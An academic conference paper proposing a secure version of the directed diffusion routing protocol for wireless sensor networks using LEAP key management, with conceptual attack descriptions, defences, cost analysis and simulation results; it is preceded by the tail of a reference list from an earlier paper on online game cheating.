Kunt Hakon T. Morch, “Cheating in online games – Threats and solution” Version 1.0, Norsk Regnesentral Corp., January 8, 2003. Natkin S., Yan Ch., "Analysis of Correspondences between Real and Virtual Worlds in General Public Applications ", IEEE, Computer Graphic and Image Vision (CGIV05), Beijing, 2005. Blizzard Goes to War, http://terranova. blogs.com/terra_nova/2004/12/blizzard goest.html Sims 2 Hacks Spread Like Viruses, http://games.slashdot.org Cheating: Multiplayer Gaming's Achilles' heel?: http://www6.tomshardware.com/game/20030517/cheating-02.html J.Black, M.Cochran, R.Gardner; “How to Cheat at Chess: A Security Analysis of the Internet Chess Club” November 15, 2004. Cheating Heart Attack : http://www.chessninja.com/dailydirt/archives/cheating_heart_attack.htm Cheating in the World Computer Chess Championship : http://www.samsloan.com/awit-rex.htm To boldly cheat where no one has cheated before : http://www.playchess.de/articles/1 Chris GauthierDickey, Daniel Zappala, Virginia Lo, James Marr; “Low latency and cheat-proof event ordering for peer-to-peer games”, 2004. Patric Kabus, Wesley W. Terpstra, Mariano Cilia, Alejandro P; “Addressing cheating in distributed MMOGs”, 2005. Abdennour El Rhalibi, Madjid Merabti; “Agents-based modeling for a peer-to-peer MMOG architecture”; 2005. Philippe Golle, Nicolas Ducheneaut, “Keeping Bots out of Online Games”, Palo Alto Research Center 3333 Coyote Hill Rd Palo Alto, CA 94304 USA. Captcha, http://www.mywiseowl.com/articles/Captcha. http://www.captcha.net/ Benny Pinkas, Tomas Sander, “Securing Passwords Against Dictionary Attacks” , CCS’02, November 18–22, 2002, Washington, DC, USA

182

Y. Lyhyaoui et al. / Problems of Security in Online Games

[40] Luis von Ahn, Manuel Blum, Nicholas J. Hopper, John Langford,”CAPTCHA: Using Hard AI Problems for Security” In Eurocrypt 2003. [41] Luis von Ahn, Manuel Blum and John Langford, “Telling Humans and Computers Apart Automatically: How Lazy Cryptographers do AI”. In Communications of the ACM, pp. 57-60, Feb. 2004. [42] Luis von Ahn, John Langford, “Telling Humans and Computers Apart (Automatically)”, 2002, CMU Tech Report.

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

183

Secure Directed Diffusion Routing Protocol for Sensor Networks using the LEAP Protocol 1

VijayRaman Kumar1, Johnson Thomas1 and Ajith Abraham2 Department of Computer Science, Oklahoma State University, USA 2 Department of Computing, Cheng-Ahn University, Korea

Abstract. Sensor networks are finding multiple applications and are being increasingly deployed in the real world. These sensors are fragile with limited computational and storage resources and communicate with each other and a base station through routing protocols. Routing protocols in sensor networks seek to minimize energy consumption and do not take security into consideration, leaving the network vulnerable to malicious outside attacks. Due to the resource limitations of sensors, the standard security protocols cannot be applied. A number of key management protocols for sensors have been proposed. However, these key management protocols do not consider the routing problem. In this paper we modify an existing key management protocol called LEAP and integrate it into the directed diffusion sensor routing protocol to produce a secure routing protocol for sensor networks. We show that the proposed protocol can protect the network from malicious outside attacks. Simulation results also show that there is a slight overhead in terms of energy expenditure for the proposed protocol. The other overhead is a slightly increased packet size. Keywords. Sensor routing protocol, key management, secure routing

1. Introduction Recent advances in miniaturization, low-cost and low-power design have led to the development of sensor networks that are formed by hundreds or thousands of these wireless unattended sensors and actuators [1]. Usage scenarios for these devices range from real-time tracking, to monitoring of environmental conditions, to ubiquitous computing environments, to in situ monitoring of the health of structures or equipment [2]. The sensors can be installed at pre-selected locations and data can be collected from specific location with the help of the neighbors. Wireless sensor networks are extremely constrained in terms of memory, processor, and power. [3]. The extreme constraints of these devices make it impractical to use legacy systems [3].

184

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

In a sensor network a node communicates with other nodes that lie within the transmittable range to accomplish the given tasks. Due to the constraints of sensors, the sensor network routing protocols are much simpler than any other network routing protocols. A number of routing protocols have been proposed for sensor networks [4] [5] [6] [7]. Directed Diffusion [5] is one of the energy efficient routing protocols that have been proposed. However, the security vulnerabilities of these sensor routing protocols has been largely ignored in the literature. The directed diffusion algorithm does not use any mechanism to protect the nodes from outsider attacks. In this paper we identify the types of attacks that are possible on the directed diffusion routing algorithm. We extend the directed diffusion routing algorithm by integrating a secure key management mechanism into the routing protocol. We show that the secure directed diffusion routing protocol can provide protection against these attacks and we also investigate the overheads associated with the proposed secure diffusion routing protocol. The work reported in this paper is based on the Berkeley’s MICA motes and the TinyOS sensor platform [8]. In the next section we review existing routing protocols for sensor networks. In section 3 we discuss the key management protocol that we integrate into the directed diffusion routing protocol. The attacks on directed diffusion and the proposed approach is presented in section 4. In section 5 we discuss the performance of the new protocol and analyze the security implications. Simulation results are presented in section 6 four or by conclusions.

2. Routing Protocols for Sensor Network A number of routing protocols for sensor networks have been proposed. The TinyOS beaconing protocol constructs a breadth first spanning tree rooted at a base station [1]. The Geographic and Energy Aware Routing (GEAR) routing protocol and the Greedy Perimeter Stateless Routing (GPSR) route packets based on the geographic location of the nodes. The GPSR uses greedy forwarding at each hop, forwarding to the neighbor closest to the destination. When holes are encountered where greedy forwarding is impossible, GPSR recovers by routing around the perimeter of the void [1]. In Minimum Cost Forwarding all the nodes in the network maintain a cost field. The cost field specifies the minimum cost required to reach the base station. To forward a packet to the base station, the node checks the cost field associated with a neighbor and chooses the minimum cost route. The cost field can store any metric like hop-count, energy, latency or loss. A number of clustering based protocols have been proposed. LEACH (Low-Energy Adaptive Clustering Hierarchy) leverages clustering to efficiently disseminate queries and gather sensor readings to and from all nodes in the network [1]. LEACH organizes the nodes into clusters with one node acting as a cluster head. The nodes within a cluster send the collected data to its cluster head and the cluster heads of the entire cluster communicate to aggregate the data. The aggregated data is then forwarded to the base station. In Rumor routing [4] the query from the base station is flooded in the entire network. The data events in response to the queries are shared by the nodes. The base station does not depend on a single link to receive the events. Another proposed protocol is directed diffusion [5]. We present this protocol in detail as this is the particular protocol that is the focus of our study.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

185

2.1. Directed Diffusion Directed diffusion consists of several elements: interests, data messages, gradients and reinforcements [5]. The base station floods the sensor network with a query about the interested events. The ‘interest‘ query specifies the sensing task. The data messages are the events generated by a single or a group of nodes in response to the query sent by the base station. The interest queries are disseminated throughout the sensor network as an interest for named data. This dissemination sets up the “gradients” within the network to draw events. A gradient is a direction state created in each node that receives an interest [5]. The node, which generates the events, sends the events back to the base station along multiple gradient paths. The directed diffusion algorithm assumes that each node knows its location once deployed. For example, a query for locating a vehicle will specify the area to be monitored, the interval at which the sensor should respond with events and the total duration of sensing (expireAt time). The sensor that detects the wheeled vehicle might respond with the type of vehicle detected, the location, the strength of the signal, confidence in the event or detection and a event time stamp. For each active task the base station broadcasts this message periodically. The initial message for setting up the gradients and fetching the data will have a much larger interval. Intuitively, this initial message is thought of as exploratory; the base station tries to determine if there indeed are some nodes in the specified region that sense the task specified. Each node in the network maintains an interest cache. The interest cache contains the information about the interest it received. Interest cache does not have information about the base station but the one-hop neighbor from which it received the interest. There are several fields in the interest cache. A time stamp field indicates the time stamp of the last event received. The interest cache also contains several gradient fields, up to one per neighbor. Each gradient contains the data rate field which contains the data rate requested by the corresponding neighbor, derived from the interval attribute. It also maintains a duration field derived from the time stamp and the expiresAt attributes. When a node receives an interest, it checks the interest cache to see if the interest already exists. If no matching entry exists in the interest cache, then the node creates one interest entry and stores the information about the interest. This entry has a single gradient towards the neighbor from which it received the interest. The node has to distinguish the neighbors in order to send the data at the requested rate. If the entry already exists then the time stamp and expiresAt field are updated. When a gradient expires, it is removed from its interest entry. After storing the information about the interest, a node will send the interest to all its neighbors. The gradient specifies the data rate and the direction in which to send events. In summary, interest propagation sets up state in the network to pull down the data events from the source node. The rules for interest propagation are application specific [5]. Due to the multi-path transmission of the interest, it is not possible for an adversary to prevent the interest information from reaching the nodes in the network [5]. The node which lies in the specified area, tasks its sensors to begin collecting samples. If the node finds the target then it will search its interest cache for a matching interest entry. If a matching interest is found then the node will look at the data rate parameter for all the

186

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

gradients and forward the data at the rate specified. It will initially be slower for all gradients. So, all the neighbors receive a copy of the event. The source node unicasts the events, to all the neighbors for which it has a gradient. If the data rates of downstream nodes are different, then the source node interpolates the messages it is sending to the high data rate neighbor. The interpolated message is send to the low data rate neighbor. The node which receives the events from the source, attempts to find a matching entry in its interest cache. If a match does not exist then the data message is dropped silently. If there exists a match, the received message is added to the data cache and the data message is sent to the node’s neighbors [5]. The data message will eventually reach the base station. The base station reinforces one particular neighbor, and that neighbor, reinforces one of its upstream neighbors. The reinforcement continues till the message reaches the source node. The reinforcement is nothing but the same interest message with an increase in the data rate. The higher data rate events allow high quality tracking [5]. Any node in the network can send a positive reinforcement to its upstream neighbor if that node consistently sends the unseen event to it. Source

Base station

Figure 1. Positive Reinforcement

A node on the data flow path can also be negatively reinforced if that node cannot consistently supply new events to the downstream nodes. An interest message, with the initial exploratory data rate is send to the node which needs to be negatively reinforced. Like positive reinforcement, the negative reinforcement message is also forwarded to the source node. The nodes receiving this message change their data rate of the neighbor. For example, let us consider from the following figure that the data flows in the path ACEG and the link AC is congested. Now node E will receive the data message from the node D (since the other link is congested). This prompts node E to negatively reinforce node C and positively reinforce node D.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

187

B

Source

A F D

C

G Base station

E

Figure 2. Alternate Path

3. Key Establishment End-to-end mechanism is used in the conventional network for message authenticity, integrity and confidentiality. But end-to-end security mechanism is not feasible in sensor network because the communication is mainly between the one-hop neighbors. Since the sensor nodes have limited computational power, it is also not possible to use a 128 bit encryption mechanism. In symmetric key algorithm only one key is used for both encryption and decryption. It requires a shared key between the nodes. TinySec [9], a security mechanism provided for sensor nodes in TinyOS environment uses the symmetric key algorithm. SPINS [10], another security protocol for sensor network also uses a symmetric key algorithm to provide message authentication, integrity and confidentiality. In this paper we propose the integration of LEAP [11], a security protocol for sensor networks, with directed diffusion. Unlike the above protocols, LEAP restricts the security impact of a node compromise to the immediate network neighborhood of the compromised node. Furthermore, in LEAP different types of messages exchanged between sensor nodes can have different security requirements. A single keying mechanism as in other protocols is not suitable for meeting these different security requirements. For example the announcement from the base station may have a different security requirement than a packet from a source node to the base. 3.1. Outline of LEAP Four different keys are used in each node to provide various level of security. Each node shares a pair-wise key with all its neighbors. This key is used for the secure communication

188

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

between a node and one of its neighbors. All the nodes in the sensor network share a common Global key with the base station. The base station uses this key to encrypt the interest message and all the nodes in the network uses this key to decrypt the announcements from the base station. The nodes store the interest information in their interest cache and then encrypt the message using the global key to further broadcast it. The communication cost is reduced by using this key. Each node also has a unique individual key. The individual key is used for secure communication between a node and the base station. The base station uses this key to verify the messages sent by this node and also for updating the global key of the node. LEACH also uses a cluster key. In this work, the cluster key is not used as in directed diffusion all the communications are between onehop neighbors. In this paper we discuss how security can be provided by using three keys. The LEAP protocol uses Pseudo-Random functions to derive the keys. The base station derives one master key K and this key is loaded into all the nodes in the network before deployment. Each node is also assigned a unique id and a global key before deployment. From a master key a node can derive other keys for various security purposes. For example, a node can derive K0 for encryption and use K1 for authentication [11]. The individual key Ku for a node u is generated from the master key. [11]. Since the communication in sensor network is always among the neighbors, the pairwise shared key is used more than any other key. LEAP assumes that the time required to establish all the keys in the network (Test) is less then the time required (Tmin) by the adversary to compromise one or more nodes. When a node u is deployed, it tries to discover its neighbors by broadcasting a HELLO message which contains its id and waits for each neighbor v to respond with an ACK message including the identity of node v. The ACK from every neighbor v is authenticated using the individual key Kv of node v, [11]. Node u computes its pair-wise key with v, Kuv. Kuv serves as the pair-wise key. No message is exchanged between u and v in this step. The global key can be established before the deployment of sensors. Since all the nodes are going to share the same key with the base station, the loading of this key is done before deployment.

4.

Proposed approach

We assume that the sensor network is static, i.e., sensor nodes are not mobile. The base station, acting as a controller (or key server), is assumed to have sufficient resources. We also assume that the base station is equipped with a powerful transmitter and it can send the message to any node in the network in one-hop. Every node has space for storing sufficient keys. Furthermore, we assume that the base station will not be compromised. We also assume that the sensor network is dense and there will be at least two neighbors (with enough power) for each node. The probability to break more than one pair-wise key of the same node is very minimal. An efficient security mechanism for supporting communications in directed diffusion is proposed. The security requirements not only include authentication and confidentiality but also robustness and survivability, that is, the sensor network should be robust against various security attacks, and if an attack succeeds, its impact should be minimized.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

189

With the introduction of the keying mechanism in directed diffusion, only the nodes which have the keys can send and receive packets in the network. The size of the keys used in LEAP is 8 bytes [11]. It has been proved that a laptop class adversary can crack the message which was encrypted using the symmetric key algorithm [12]. Furthermore, it is possible for an adversary to obtain the keys and launch the above attacks as an insider attack. Such attacks are very difficult to find. Hence, the use of symmetric key algorithm alone is not enough for providing security in sensor networks. Our scheme minimizes the effects of an attack. The incorporation of a modified version of LEAP into directed diffusion protects the network from outside attacks. The attacks are therefore primarily insider attacks. We assume the attacker has the global key for instance. 4.1. Cloning Attack If the goal of the adversary is to receive the data messages generated by the source node then the adversary has to announce that it a base station. In figure 3, the base station (C) encrypts the interest message using the global key and broadcasts. The attacker forges the interest message with itself listed as the base station using the global key. The adversary will also change the source id in the packet to its own id and transmit the message. The neighboring nodes forward this message in the network to set up gradients along the path. The adversary is also in a position to generate a pair-wise key shared between the nodes in the data flow path to decrypt the data message sent by the source node. Source node

F A G

B D C E

Figure 3. Cloning Attack

Base station

190

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

If each node in the network maintains the distance information of the base station, then the probability for this type of attack can be reduced. The distance of a node can be calculated using the signal strength of the message it transmitted. RSSI (Received Signal Strength Indicator) values localize the sensor network [13] [14]. Localization is a scheme by which all the nodes in the sensor network will learn about the location it is situated using one or more mobile nodes. RSSI is a signal that indicates the strength of the incoming (received) signal in a receiver. Using the signal strength, the distance of the node is found. Sensor nods such as the MICA mote already come with the hardware necessary to calculate the RSSI. The signal strength is directly proportional to the remaining battery power. We assume that the base station is equipped with long lasting power, so the signal strength never reduces. The nodes can find out the distance of the base station with reasonable accuracy. During the initial set-up time, the base station should broadcast the “Hello” packets powerful enough to reach all the nodes in the network. Each node receives this message and stores the RSSI value of the base station. Each node has to calculate the RSSI value of any future message received from the base station and compares it with the existing value. It becomes very difficult for a node to pose as the base. Due to noise, the nodes in the network should accept the packets from a base if the RSSI is within a MAX and MIN value. 4.2. Flow Suppression Flow suppression is denial of service attack. The easiest way to suppress a flow is to spoof negative reinforcements. The adversary simply sends the negative reinforcement to the node which is delivering data at a high rate. The adversary has to find out the unique id of the downstream node and the interest information to launch this attack. F Source

A attacker

G

B D C E

Figure 4. Negative Reinforcement

Base

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

191

In figure 4 the data flow path is ABC. If the path between A and B or B and C is congested for a time, then the paths ADE or AFG will provide the required data to the base station at a faster rate. If the nodes E or G supplies the new events consistently to the base station then the base station will positively reinforce E or G. After positively reinforcing one of E or G, the base station also negatively reinforces B. This will cause the node B to negatively reinforce the source (A) thereby suppressing the data flow. If the adversary breaks the pair-wise key shared between the nodes A and B then, it can simply send a negative reinforcement to node A posing as node B. Node B receives this information and changes the data rate value in the interest cache. This is a simple instance of denial of service attack. For negative reinforcement information to be valid and processed further, the node which received the negative reinforcement should also receive the information about negative reinforcement from at least one more neighbor. For example, if B sends a negative reinforcement to A and if it has to be valid, then the adversary has to compromise at least one other neighbor of B and obtain its pair-wise key. The attacker will be new node that is not recognized. LEAP allows new nodes to join the network only on the basis of a new master key [11].Since we have assumed that it will be difficult for the adversary to break more than one pair-wise shared key of a single neighbor, the negative reinforcement attack can be prevented. If node A did not get the confirmation of negative reinforcement from one other neighbor then it decides that the negative reinforcement information is not authentic and sends the information to the base station for key revocation. 4.3. Path Influence The adversary can attract all the traffic through itself by announcing the availability of more energy and/or the availability of a high quality link to reach the base station (by sending a powerful signal). All the nodes start sending the packets to this adversary. After receiving the packets, the adversary can choose to forward packets selectively or change the packet information and forward it. The adversary can also launch this attack by spoofing positive and negative reinforcement. Let us consider the node A as the source and node C as the base station from In figure 5 if the adversary breaks the pair-wise key shared by nodes E and B, it might try to attract all the nodes in the network by sending a fake announcement to B .The message can be regarding the availability of high quality path to base station and/or high remaining battery power. On receiving the information, B further forwards to all its neighbors. The nodes will forward everything to the attacker.

192

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

Source

A

B

attacker

E

C D

Base

Figure 5. Path Influence

LEAP assumes that the adversary takes Tmin time to break a pair-wise key of a node and it is larger than the time it takes for all the sensor nodes to establish the pair-wise keys. During this initial setup period each sensor node will construct a hash table with the node id as the unique key. The table will also contain transmission rate and RSSI value for all its neighbors. The hash table can be searched in O(1) time. The nodes store the data during the pair-wise key setup time. Each node appends its remaining battery power with every packet so that the neighbor nodes can construct the table. Note that because of our assumption that the adversary takes at least Tmin time to break one or more keys, the initial packets from the nodes will be authentic. If the adversary announces the availability of high quality link to a neighbor, the receiving node will find out by comparing the table value with the received signal strength value. The RSSI value is expected to decrease with the decrease in remaining battery power. By comparing the value of signal strength from a node and the value of RSSI exist in the table, a node can differentiate an authentic and fake message with a high probability. The node can then send the information to the base station for key revocation. The remaining power of each node is inversely proportional to the data rate. However, a neighboring node may be involved in multiple communications. The message from a node will therefore also include its total transmission rate. The node in the data flow path can therefore calculate the remaining battery power and determine whether the node is an attacker. Note that this calculation is necessary only when a neighbor sends an announcement regarding its battery power and transmission rate. However, knowing the battery power of the immediate neighbor alone is not enough. An adversary might try to send an announcement using other nodes id. For example, in figure 10 assume the adversary knows the pair-wise key between E and B. The attacker might send a message about its power availability to node B faking its identity as E. In the message content, the adversary might announce that node E received the information from node D, that is, node D is a desirable node to route packets through. The proposed

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

193

approach will not allow node B to determine whether the message received is a fake or authentic. If each node has the knowledge of the remaining battery power of all other nodes in the network, then the comparisons can be made for the farther nodes too. If nodes in the network share the information regarding the battery power and RSSI of their neighbors then this type of attack can be prevented. While forwarding the data message each node has to attach the remaining battery power value of all its neighbors in the packet. On receiving this message, each node stores the information. Note that no additional transmission and receiving is necessary in this case. The overhead is the increased packet size and the need for extra memory space in each node to store the information about two hop neighbor nodes information. 4.3.1. Calculation of Remaining Energy The ADC7 of the Mica mote gives the battery voltage [15]. For our simulation we used the two components provided by nesC language to calculate the remaining power, computeRates(..) and PowerMonQuery. Using the data sheets provided for the MICA mote, power required for all the operations can be calculated from [16]. 4.4. Selective Forwarding In selective forwarding the attacker, after receiving the data messages from the upstream neighbor does not forward all the messages. The adversary can modify the data message or inject its own data message to the downstream nodes. In the figure below, let us consider that the data flows from A to B to C. If an attacker breaks the pair-wise key shared between B and A, then the adversary can modify the data message and then send it to B. B further forwards the data message to the base station. F A Adversary

G

B D Base

C E Figure 6. Selective Forwarding

194

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

In figure 6 the dashed lines represent the low data rate paths. The data rate of path ABC (say 100 events /second) is different from the low data rate paths that receive data at 1 event/second. Let us assume that the adversary breaks the pair-wise shared key used between A and B. Now the adversary gets the access to the data messages from the source node. It can modify the data messages and send to B or selectively forward it to B. After receiving the modified packet the node B forwards the packet to the base station. Node B also sends the data messages to neighbors D, E, F, and G at the original data rate. The source node A also sends the data messages to its neighbors other than B (F and D). The data messages received from the source are stored in the data cache of each node. Node D will therefore have data messages from source A and node B in its data cache. By implementing a simple check mechanism to compare the two data messages, we can find out the selective forwarding attack. Note that the same comparison will be performed in all the neighbors of the node B. The data message comparison is application dependent. For example in a chemical leak monitoring application, the base station might spread interest information about the possible gas leak at specific location. The base station expects either “YES” or “NO” as the message from the source node. Positive reinforcement will take place on the paths with a ‘YES’ reply. The low data rate paths may receive the approximation of the 100 events, not the 100th event. If the adversary modifies the “YES” data message from the source to a “NO” and forwards it, then the nodes can find out the modification. Different techniques are used in other applications to find out whether the data is same or not. A confidence rate can be used for matching two events. The source node compares the stored wave form of an event with the sensed event and finds out the confidence value. In the data cache each node maintains the last seen event (data message) from the neighbor. A data comparison method can check the data message received from a node and the data message present in the data cache, allowing a node to determine if the data message is fake. The data comparison technique is application dependent. The basic idea is that there will be a relation between the two events of the same interest. 4.5. Node Inclusion and Exclusion 4.5.1. Node Addition If a new node is to be added in the network then it should be loaded with a new global key, the master key Ki and Kj(u) individual keys where j is 1< j <=m. The procedure for calculating the individual key of the node is as discussed above. The base station can calculate the individual keys from the master key. The base station unicasts a “Hello” packet. The added node receives this message and calculates the signal strength value for the base station and stores it (so that it can authenticate any future message from base station). The new node added in the network will broadcast its “Hello” packet with its id specified in the packet. The node which receives this packet replies by broadcasting “Hello” packets. Let us consider that the nodes u1 to uN are present in the network and node v is the new node. Now node v has to set up pair-wise key with all its neighbors’ u1 to uM where M <=n. Since the nodes u1 to uM already have the individual key of v, each can

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

195

calculate the pair-wise shared key with node v. The procedure is same as the initial pairwise key set-up of LEAP. The nodes u1 to uM add node v in their neighbor list. After addition, the added node needs to know the interest information to build the gradients in the network. This problem can be solved if the added node’s neighbors pass the interest information to the new node. This will cause the added node v to receive the data messages from its neighbors. Note that the node v also builds the table for storing the RSSI and the battery power remaining of its neighbors from the message it received from them while setting up the pair-wise keys. 4.5.2. Node Leaving If there is node failure in the network, directed diffusion uses negative reinforcement to truncate a path if a node does not respond within a specified amount of time. In our approach, each node will maintain the remaining battery power information of all its neighbors. When the battery power of a node reaches a threshold level, then the neighbors of the node removes the id of the node from their list. This will cause the base station to select another path to get the data from the source node. 4.5.2.1. Negative Reinforcement F

Source

A G

B D Base

C E

Figure 7. Negative Reinforcement

If link AB is congested, B will send a negative reinforcement to A and the negative reinforcement information to all its neighbors. Even if one or more nodes did not have enough power to forward the information to the source node, the availability of multiple paths ensures that at least one other neighbor gives the information to the source.

196

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

4.5.2.2. Selective Forwarding The availability of multiple nodes to check the data from the source node ensures that the nodes in the data flow path sends the original data received from the source node to the base station. 4.5.2.3. Path Influence and Cloning Attack Thus the solutions for these two attacks are not affected by the loss of one or more nodes.

5. Performance and Security Analysis 5.1. Storage Requirement In this section we determine the overheads in implementing the LEAP algorithm in directed diffusion routing. In our scheme, each node has to store an individual key, a group key and d pair-wise keys, where d is the number of one-hop neighbors. The number of bytes required depends on the density of the sensor networks. If transmission radius r of a node is r and assuming nodes are evenly distributed with a density d , the total number of keys a node has to store is dπr2+2. Each key is 8 bytes in length [1]. Thus the total bytes required for a node will be, 8dπr2+16 bytes. Although memory is a very scarce resource for the current generation of sensor nodes (4 KB SRAM in a Berkeley Mica Mote), for a reasonable degree d, storage is not an issue in our scheme. The nodes in the network need to store the RSSI value and the remaining battery value of all its one and two-hop neighbors. The RSSI and the remaining battery power take a byte each to store. So, the total bytes required for a node becomes, (d+2)*8 + (D + d)*2 bytes. Here D is the 2nd hop neighbor and d is the one-hop neighbor. Since there is no cluster key in our scheme, considerable amount of storage space in each node is saved when compared to LEAP (d per node. However, the introduction of multiple Master keys increases the storage requirement. Depending upon the number of node additions, the memory required to store the keys increases. 5.2. Computational Cost The pair-wise key and individual key set-up is done after the deployment. Each node has to calculate on average d pair-wise keys and one individual key. If there are N number of nodes in the sensor network then the number of key calculations will be N(dp +1), where the subscript p stands for the cost to calculate a pair-wise key. The number of encryptions and decryptions is an important factor in determining the efficiency of our scheme. The base station encrypts the interest message using the global key and broadcast the message. The nodes after receiving the interest message, decrypts and stores the interest in the interest cache. This is followed by encrypting the message using the global key and broadcasting further. Each node will broadcast the interest message and neighbors decrypt the message. If the number of nodes that get the interest message from the base is M and L is the average number of nodes reachable from other

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

197

nodes, the total number of encryptions and decryptions will be 1e + Mde + Md + Ld . A subscript e stands for the cost to encrypt and a subscript d stands for the cost to decrypt. Besides the pair-wise key and individual key, each node also has to calculate the individual key of all its neighbors for verification. Given that this cost is represented by the subscript i, the number of calculations is Ndi. The computation cost to establish the keys in the network will be less for our proposed version when we compare with LEAP. Nodes don’t have to calculate the cluster keys in our case. Our case requires some additional comparison for keeping the network secure. All the packets from the base station will be compared with the stored value of battery power remaining and RSSI value. This cost goes up when the number of interest messages go up. 5.3. Communication Cost Since the interests are broadcasted, each node has to transmit only once (15 mA [17], [16]). However, each node will receive the same interest from all of its neighbors (d*12 mA). The same applies for the data messages. Hence with the number of interests the communication cost increases. For I interests, the transmission and receiving cost for broadcasting will be I(Nt + dr). Here the subscript t is the cost for transmitting and r is the cost for receiving. For receiving and transmitting data messages, the communication cost will depend on the number of paths reinforced positively and the data rate requested by the downstream nodes. Let d be the number of neighbors of a node which is in the non data flow path and m the number of nodes in the non data flow path. Let D be the number of nodes involved in the data flow path (including the base). Let the maximum data rate imposed by the base station be mdr. The power required will be, ((D-2)*mdr*15 mA + (D-1)*mdr)*12 mA + mi *15 mA + md *12 mA The communication cost for sending and receiving queries or data message is same in our scheme as in directed diffusion. Only when a node wants to send a negative reinforcement, it has to multicast the information about sending the negative reinforcement to all other neighbors. However, a negative reinforcement message is not expected often in the network, so the overhead occurred by a few negative reinforcement can be compromised for increased security. 5.4. Packet Size The following is the packet used by the TinySec [9], the keying mechanism proposed for sensor networks. The packet format of TinyOS is also given for comparison purposes. For our purpose we will use the TinySec packet format with additional information like GPS coordinates and remaining battery power.

198

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

Table 1.TinyOS packet format

Dest (2)

AM (1)

Len (1)

Grp (1)

Data (0-29)

CRC (2)

Table 2. TinySec packet format

Dest (2)

AM (1)

Len (1)

Src (2)

Ctr (2)

Data (0-29)

MAC (4)

The nodes in our network have to include the remaining battery power. Hence the packet format will be: Table 3. Packet with power information

Dest (2)

AM (1)

Len (1)

Src (2)

Ctr (2)

Power (1)

Data (0-29)

MAC (4)

The TinyOS packet format in table 1 does not have the source node information; this leaves the entire network vulnerable to the outsider attack. Any node can inject a packet with little effort. To detect transmission errors, TinyOS senders compute a 16-bit cycle redundancy check (CRC) over the packet. The receiver recomputes the CRC during reception and verifies it with the received CRC field. If they are equal, the receiver accepts the packet and rejects it otherwise. However, this CRC does not provide any security from attacks. Since we have included the MAC field, CRC is not needed. Active message types are similar to port numbers in TCP/IP. The AM type specifies the appropriate handler function, to extract and interpret the message on the receiver. The TinyOS packet format contains a group field to prevent different sensor networks from interfering with each other. It can be thought of as a kind of weak access control mechanism for non-malicious environments. The Ctr field is used for specifying the packet numbers. Our implementation needs one byte more than the TinySec packet format. 5.5. Security Analysis Although our algorithm requires more memory and energy, it defends the sensor nodes against potential directed diffusion routing attacks. With the introduction of LEAP, the outsider attack has been completely eliminated. The LEAP algorithm prevents the sinkhole and wormhole attacks. The proposed solution will provide more security to the network even if some of the nodes in the network are compromised.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

199

6. Simulations A simulatios program in C++ code was written to simulate sensor networks of sizes 10, 30 and 50. The original directed diffusion algorithm does not use any keying mechanism therefore the memory required in each node is minimal. In our algorithm each node has to store one individual key, one group key and d number of pair-wise keys, where d is the is the number of neighbors of a node. The following graph was plotted for the storage requirement for the sensor network of size 10, 30 and 50. The nodes were placed at random location and the simulation was run for 30 times each for 10, 30 and 50 nodes. From figure 8, we can infer that the memory require to store the keys increases with the increase in the number of nodes. Each node also has to store the RSSI value and remaining battery power of one-hop and two-hop neighbors.

STORAGE REQUIREMENT

MEMORY IN BYTES

6000 5000 4000 3000 2000 1000 0 0

10

20

30

40

50

60

NUMBER OF NODES

Figure 8. Memory Requirements

In our proposed algorithm each node has to find and store the ids of all the neighbor nodes before communicating with them. The initial set-up of the sensor network is different in our algorithm than the setup in the original directed diffusion. In directed diffusion, in order to establish the pair-wise key with all its neighbors, each node has to send a “hello” packet. Our approach includes an extra communication overhead in the form of a “hello” packet sent by the base station to all the nodes in the network so that the nodes in the network can calculate and store the base station’s RSSI value. The following graph shows the communication overhead caused by our algorithm and the original communication cost of the directed diffusion algorithm.

200

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

COMMUNICATION COST

CURRENT CONSUMPTION IN mA

70000 DIRECTED DIFFUSSION

60000 50000

PROPOSED ALGORITHM

40000 30000

DD WITH NEGATIVE REINFORCEMENT

20000 10000 0 0

20

40

60

PROPOSED ALGORITHM – NEGATIVE REINFORCEMENT

NUMBER OF NODES Figure 9. Power Consumption

From figure 9 we can see that the difference between directed diffusion and our proposed algorithm increases with the increase in the network size. The above graph also shows the overhead caused by our proposed solution for the negative reinforcement. Even if there is an authentic negative reinforcement, there will be communication and computation overheads in our proposed algorithm. If a node sends a negative reinforcement to an upstream neighbor, then it has to send the negative reinforcement information to all its neighbors, which is not done in the directed diffusion algorithm. As we can see from the above graph, the increase in the network size and the density causes more transmission and reception in the network, in other words, the overhead increases with the network size. Our solutions to all the four type of attacks require some computational power. Our proposed solution to the selective forwarding algorithm causes more overhead, since all the packets forwarded in the high data flow path have to be compared by all other nodes. The solutions to other three types of attacks require the nodes to compare only when the need arises whereas in case of selective forwarding, the nodes have to compare all the time the interest is active. Besides the comparison overheads, the other computational energy required is for the encryption and decryption of the messages transmitted in the network. When the nodes in the high data flow path sends the data to the base station, the low data flow path nodes have to compare the data forwarded by the nodes in the high data flow nodes. The computation overhead for implementing selective forwarding depends upon the number of nodes in the low data flow path. The following graph shows that the power consumption increases with the number of nodes.

V. Kumar et al. / Secure Directed Diffusion Routing Protocol for Sensor Networks

201

CURRENT CONSUMPTION IN mA

SELECTIVE FORWARDING OVERHEADS 700 600 500 400 300 200 100 0 10

0

20

30

40

50

60

NUMBER OF NODES

Figure 10. Selective forwarding overhead

